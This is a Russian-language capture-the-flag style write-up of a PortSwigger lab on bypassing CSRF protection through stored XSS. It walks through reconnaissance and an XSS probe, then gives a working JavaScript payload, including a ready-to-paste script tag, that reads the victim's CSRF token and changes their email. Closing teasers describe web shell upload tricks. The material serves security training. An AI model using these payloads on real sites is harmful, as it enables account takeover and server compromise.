На странице
Обход CSRF через XSS
Лаборатория
Exploiting XSS to bypass CSRF defenses · Practitioner
Разведка
Из описания: нужно изменить email жертвы, используя XSS-уязвимость для обхода защиты по CSRF-токену.
Смотрим, как работает смена email. Со страницы /my-account?id=wiener улетает POST на /my-account/change-email с телом:
email=new@mail.com
csrf=YVd0ZENUlUAxXV5wV7CBKKvnfDk0iIea
Значит, нагрузка должна предварительно добыть CSRF-токен. Атака: пэйлоад сначала делает GET на /my-account, забирает токен, потом POST на /my-account/change-email.
Точку для XSS ищем на удачу — <img src=x onerror=fetch(1)> в поле комментария. Есть XSS.
План
- GET на
/my-account - Читаем ответ и находим CSRF-токен — он лежит в
<input required type="hidden" name="csrf" value="YVd0ZENUlUAxXV5wV7CBKKvnfDk0iIea"> - POST на
/my-account/change-email— CSRF-токен и email в тело запроса как FormData
Извлечь токен можно регуляркой или через DOMParser. Распарсить HTML надёжнее.
Эксплуатация
Первый вариант нагрузки:
fetch('/my-account')
.then(r => r.text())
.then(html => {
const doc = new DOMParser().parseFromString(html, 'text/html');
const csrf = doc.querySelector('input[name=csrf]').value;
const body = new URLSearchParams({ email: 'new@mail.com', csrf });
return fetch('/my-account/change-email', { method: 'POST', body });
});
Пробуем в консоли Chrome — токен получается успешно, запрос улетает, возвращает 302 и редирект, но email не поменялся.
Сравнил наш запрос с оригинальным. Отличие — в заголовке Content-Type: сервер PortSwigger ждёт application/x-www-form-urlencoded, а URLSearchParams подставляет с кодировкой — application/x-www-form-urlencoded;charset=UTF-8.
Итоговая нагрузка:
fetch('/my-account')
.then(r => r.text())
.then(html => {
const doc = new DOMParser().parseFromString(html, 'text/html');
const csrf = doc.querySelector('input[name=csrf]').value;
const body = new URLSearchParams({ email: 'pwned@hacker.com', csrf });
return fetch('/my-account/change-email', {
method: 'POST',
headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
body,
});
});
Ключ — явная установка headers: { 'Content-Type': 'application/x-www-form-urlencoded' }.
Подготовленная версия для вставки в поле комментария:
<script> fetch('/my-account') .then(r => r.text()) .then(html => { const doc = new DOMParser().parseFromString(html, 'text/html'); const csrf = doc.querySelector('input[name=csrf]').value; const body = new URLSearchParams({email: 'pwned@hacker.com', csrf}); return fetch('/my-account/change-email', { method: 'POST', headers: {'Content-Type': 'application/x-www-form-urlencoded'}, body }); }); </script>
Лаба решена.
Ещё в этой категории
Web Shell Upload через обход блек-листа расширений (PortSwigger Lab)
.php в блек-листе, но .htaccess заливается без вопросов — подсовываем свой конфиг Apache и заставляем сервер исполнять shell.bug как PHP.
Web Shell Upload через обфускацию расширения (PortSwigger Lab)
Блек-лист расширений не пускает .php, двойное расширение shell.php.jpg отдаётся как картинка — null-byte shell.php%00.jpg обходит обе проверки.
Remote Code Execution через загрузку web shell (PortSwigger Lab)
Загрузка аватарки без валидации — заливаем PHP web shell и читаем /home/carlos/secret.